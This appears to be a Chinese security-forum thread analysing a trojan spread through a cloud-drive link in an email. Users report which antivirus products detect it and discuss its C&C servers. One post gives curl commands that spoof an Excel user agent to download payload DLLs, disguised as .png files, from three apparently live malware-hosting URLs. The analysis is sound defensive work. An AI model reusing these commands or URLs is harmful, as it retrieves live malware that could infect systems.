同事在海外邮件提到的网盘中下载的木马

xiaobao233

火绒

wwwab

swizzer 发表于 2022-3-29 19:03
您那里可以下载吗？
我感觉网站应该是down掉了···因为我测试的时候更换网络环境/加UA/直接双击 ...

不太像是挂掉了，病毒有3个C&C服务器，我没改ua访问恰恰好全部都是一模一样的空白页面，这绝对不是巧合

zpy0206

联想电脑管家 MISS

swizzer

wwwab 发表于 2022-3-29 19:18
不太像是挂掉了，病毒有3个C&C服务器，我没改ua访问恰恰好全部都是一模一样的空白页面，这绝对不是巧合

https://app.any.run/tasks/3b0e0b0c-c239-44f0-bbb5-4519afcf26ad

主要是这个Payload下载不下来...云沙箱上这样，我在本地测试也是这样

至于空白页面嘛，其实我这几天追的Qbot跳转的都是空白页

Miostartos

BD：XLM.Trojan.Abracadabra.8.Gen

julietxu

846472713

ESET

lvzhiwei

腾讯电脑管家kill

心心相印

bd kill

yfdyh000

swizzer 发表于 2022-3-29 19:03
您那里可以下载吗？
我感觉网站应该是down掉了···因为我测试的时候更换网络环境/加UA/直接双击 ...

我可以啊。可能网络环境差异。

1. <p>>curl -A "Microsoft Office/15.0 (Windows NT 6.2; Microsoft Excel 15.0.4693; Pro)" "https://mestermustra.ro/McvmGTWB48/NchonhNh.png" --output a.dll</p><p>  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current</p><p>                                 Dload  Upload   Total   Spent    Left  Speed</p><p>100  820k  100  820k    0     0   128k      0  0:00:06  0:00:06 --:--:--  178k</p><p>
   
2. </p><p>>curl -A "Microsoft Office/15.0 (Windows NT 6.2; Microsoft Excel 15.0.4693; Pro)" "https://embrateg.com/8VUrJk0a/NchonhNh.png" --output b.dll</p><p>  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current</p><p>                                 Dload  Upload   Total   Spent    Left  Speed</p><p>100  820k  100  820k    0     0   165k      0  0:00:04  0:00:04 --:--:--  178k</p><p>
   
3. </p><p>>curl -A "Microsoft Office/15.0 (Windows NT 6.2; Microsoft Excel 15.0.4693; Pro)" "http://e2ekijutol.tk/tbTcC1DRWTmC/NchonhNh.png" --output c.dll</p><p>  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current</p><p>                                 Dload  Upload   Total   Spent    Left  Speed</p><p>100  820k  100  820k    0     0   298k      0  0:00:02  0:00:02 --:--:--  298k</p><div></div>

复制代码